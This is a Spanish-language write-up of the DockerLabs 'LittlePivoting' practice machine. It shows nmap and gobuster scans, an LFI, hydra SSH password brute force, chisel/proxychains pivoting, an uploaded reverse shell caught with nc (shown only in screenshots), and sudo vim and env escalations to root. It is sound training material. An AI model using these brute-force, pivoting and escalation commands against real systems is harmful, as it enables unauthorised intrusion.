> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/medio/littlepivoting.md).

# LittlePivoting

## Maquina

<figure><img src="/files/YfVMNjeuAnnpELBFCJRG" alt=""><figcaption></figcaption></figure>

### Explicación

<figure><img src="/files/mFQuy59U3f9WAwItY6Dy" alt=""><figcaption></figcaption></figure>

## Reconocimiento - Inclusion

### Nmap

```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn 10.10.10.2 -oN nmap.txt
```

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 03:cf:72:54:de:54:ae:cd:2a:16:58:6b:8a:f5:52:dc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFBns4ZccIGmiw02cgCwENA1Lqhf7o9eDomefNVF1iF0Yxx+9JEB6f1kEHCjHqd7fBtn6mnlgPdE+VfqBGVhc2U=
|   256 13:bb:c2:12:f5:97:30:a1:49:c7:f9:d0:ba:d0:5e:f7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIr1k5/j/3yvWf8rLays4s/EPgkqySLYjRHL6QAq2yN8
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:0A:0A:0A:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Gobuster

{% code overflow="wrap" %}

```bash
sudo gobuster dir -u 10.10.10.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash | tee gobusterExt.txt
```

{% endcode %}

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,css,ini,config,txt,json,conf,php,svg,sql,log,bash,gif,pdf,backup,js,zip,rar,png,jpg,jpeg,sh,tar,gz,rb,py,xml,ico
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 10701]
/shop                 (Status: 301) [Size: 307] [--> http://10.10.10.2/shop/]
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 6395385 / 6396269 (99.99%)
===============================================================
Finished
===============================================================
```

{% code overflow="wrap" %}

```bash
sudo gobuster dir -u 10.10.10.2/shop -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash | tee gobusterExt.txt
```

{% endcode %}

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.2/shop
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,rar,gz,log,conf,tar,rb,py,jpeg,svg,sql,jpg,config,sh,js,xml,gif,ico,pdf,backup,bash,php,zip,json,ini,css,png
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/index.php            (Status: 200) [Size: 1112]
/keyboard.jpg         (Status: 200) [Size: 266020]
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
Progress: 6395503 / 6396269 (99.99%)
===============================================================
Finished
===============================================================
```

### Web

<figure><img src="/files/E6enzVUzJI8USaSxnued" alt=""><figcaption></figcaption></figure>

Lo único interesante es este **error**: `"Error de Sistema: ($_GET['archivo']");`, por lo que se me ocurre probar un LFI (Local File Inclusion).

<figure><img src="/files/wd7ImZvks8J8oJE4jTJ7" alt=""><figcaption></figcaption></figure>

## Explotación - Inclusion

Probamos estos 2 usuarios en un ataque de fuerza bruta con hydra

```bash
hydra -l manchi -P /usr/share/wordlists/rockyou.txt 10.10.10.2 ssh -t 64
```

<figure><img src="/files/jIEQcphhMbnQtwLBX5xo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Zej3WbRhIGDXo6LZwYtQ" alt=""><figcaption></figcaption></figure>

## Pivoting - Trust

Para este pivoting usaremos [**chisel**](/barre/apuntes/red-team/tools/chisel.md), por lo que nos lo pasamos a la maquina Inclusion

<figure><img src="/files/gBN23CzEzIglpBDqciie" alt=""><figcaption></figcaption></figure>

Iniciamos el **servido con chisel** en nuestra maquina e iniciamos el **cliente** en la maquina Inclusion

<figure><img src="/files/J2fgoJYa3cSqPCY2ASYQ" alt=""><figcaption></figcaption></figure>

Editamos el fichero /etc/proxychains4.conf

<figure><img src="/files/kUCVRr6dJsNkUYuUXiJd" alt=""><figcaption></figcaption></figure>

Ahora ya podemos escanear la maquina Trust

### Reconocimiento - Trust

#### Nmap

```bash
sudo proxychains -q nmap -top-ports 10 -sTCV --min-rate 5000 -vvv -Pn 20.20.20.3
```

```
PORT     STATE  SERVICE       REASON       VERSION
21/tcp   closed ftp           conn-refused
22/tcp   open   ssh           syn-ack      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 19:a1:1a:42:fa:3a:9d:9a:0f:ea:91:7f:7e:db:a3:c7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHjaznpuQYsT/kxLXSVDFJGTtesV6UrUh5aNJhw+tAdr19MnZpuY/8e0gb+NXRebo5Dcv/DP1H+aLFHaS6+XCGw=
|   256 a6:fd:cf:45:a6:95:05:2c:58:10:73:8d:39:57:2b:ff (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJW/dREGeklk/wsHXisOmbmVwP9zg7U8xS+OfHkxLF0Z
23/tcp   closed telnet        conn-refused
25/tcp   closed smtp          conn-refused
80/tcp   open   http          syn-ack      Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.57 (Debian)
110/tcp  closed pop3          conn-refused
139/tcp  closed netbios-ssn   conn-refused
443/tcp  closed https         conn-refused
445/tcp  closed microsoft-ds  conn-refused
3389/tcp closed ms-wbt-server conn-refused
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel// Some code
```

#### Web

{% hint style="warning" %}
No podía acceder a la web, por lo que use curl para verla
{% endhint %}

```bash
sudo proxychains -q curl 20.20.20.3 
```

Te saca la pagina default de Apache, por lo que vamos a mirar con que sacamos con gobuster

#### Gobuster

{% code overflow="wrap" %}

```bash
sudo gobuster dir -u 20.20.20.3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash --proxy socks5://127.0.0.1:1080
```

{% endcode %}

{% hint style="info" %}
{% code overflow="wrap" %}

```
--proxy socks5://127.0.0.1:1080 -> Sirve para indicarle el proxy que tiene que usar gobuster 
```

{% endcode %}
{% endhint %}

Sacamos el archivo /secret.php

```bash
sudo proxychains -q curl 20.20.20.3/secret.php
```

```
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>¡Secreto!</title>
    <style>
        Lo quito para que no ocupe tanto
    </style>
</head>
<body>
    <div class="container">
        <h1>Hola Mario,</h1>
        <p>Esta web no se puede hackear.</p>
    </div>
</body>
</html>
```

Sacamos lo que parece ser un de nombre Mario, por lo que podemos hacer un ataque de fuerza bruta ya que tiene el puerto 22 abierto

### Explotación - Trust

```bash
proxychains -q hydra -l mario -P /usr/share/wordlists/rockyou.txt 20.20.20.3 ssh -t 64
```

<figure><img src="/files/5YbyLhvVrmnjvUAIyMs8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/KjBp9wjNri1MLsx4FYby" alt=""><figcaption></figcaption></figure>

### Escalado de privilegios - Trust

Miramos los permisos de este usuario

<figure><img src="/files/TDtBkJef94x7Q5VIBSQ1" alt=""><figcaption></figcaption></figure>

Miramos como explotarlo en [GTFOBins](https://gtfobins.github.io/gtfobins/vim/), y ya seremos root en esta maquina

```bash
sudo vim -c ':!/bin/sh'
```

<figure><img src="/files/1uLk28ojMtSQdWfLXIpy" alt=""><figcaption></figcaption></figure>

Podemos pasarnos chisel, nmap y socat para poder usarlos en la maquina Trust

<figure><img src="/files/5ItvnAp0XdHLF3jCjb7y" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Tengo una carpeta con binarios estáticos para pasarme a otras maquinas
{% endhint %}

## Pivoting - Upload

### Reconocimiento - Upload

#### Nmap

<figure><img src="/files/tr60ORSPRCoJqnm1Nw3E" alt=""><figcaption></figcaption></figure>

#### Gobuster - Upload

{% code overflow="wrap" %}

```bash
sudo gobuster dir -u 10.10.10.2:2222 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash | tee gobusterExt.txt
```

{% endcode %}

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.2:2222
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,js,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 1361]
/uploads              (Status: 301) [Size: 317] [--> http://10.10.10.2:2222/uploads/]
/upload.php           (Status: 200) [Size: 1357]
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]

===============================================================
Finished
===============================================================
```

Explicación de lo que he hecho

<figure><img src="/files/Y8IBfwurmDVMIjLx7LbV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/X3TZpbOlocQ2fozQyUxg" alt=""><figcaption></figcaption></figure>

### Explotación - Upload

Creamos una reverse shell y la subimos a la web, yo la he cogido de [Online Reverse Shell](https://www.revshells.com/)

<figure><img src="/files/wjPbXionlzo17Aaxacff" alt=""><figcaption></figcaption></figure>

Explicación de que he hecho para enviarme la reverse shell a mi maquina

<figure><img src="/files/Z9qT75kvvdrW4yoa75ze" alt=""><figcaption></figcaption></figure>

Si nos ponemos a la escucha con nc por el puerto 1234 ya estaremos dentro de la maquina Upload&#x20;

<figure><img src="/files/z2UmxHfQxmnCs544rEgj" alt=""><figcaption></figcaption></figure>

### Escalado de privilegios - Upload

Miramos los permisos de este usuario

<figure><img src="/files/Wp7eYvfKverxRVlihwkJ" alt=""><figcaption></figcaption></figure>

Miramos como explotarlo en [GTFOBins](https://gtfobins.github.io/gtfobins/env/), y ya seremos root

<figure><img src="/files/smcQ8DNuu24MRjRt0hTj" alt=""><figcaption></figcaption></figure>

## Conclusión

Una maquina muy buena para practicar pivoting y escalado de privilegios, además de ser muy entretenida, me ha encantado.

Vista del proceso de esta maquina:

<figure><img src="/files/onSoV1kCpMPpkqnfXtBo" alt=""><figcaption></figcaption></figure>

## Extra

### Escalado de privilegios - Inclusion

{% hint style="info" %}
La explotación es básicamente un bruteforce local al otro usuario usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce)
{% endhint %}

Nos pasamos la herramienta y el diccionario `rockyou` a la maquina victima

<figure><img src="/files/AhUcyq0W9b3XiVEX293P" alt=""><figcaption></figcaption></figure>

Miramos los usuarios y ejecutamos la herramienta

```bash
./su-bruteforce.sh -u seller -w rockyou.txt
```

<figure><img src="/files/kQwCl6CRdHa1wqJzEqVZ" alt=""><figcaption></figcaption></figure>

Nos cambiamos al usuario `seller` y miramos sus permisos

<figure><img src="/files/siPej0v9ESR2ar8IhEpz" alt=""><figcaption></figcaption></figure>

Miramos como explotarlo en [GTFOBins](https://gtfobins.github.io/gtfobins/php/) y ya seremos root

<figure><img src="/files/VTv0uhHL4pPMA3XYPc1i" alt=""><figcaption></figcaption></figure>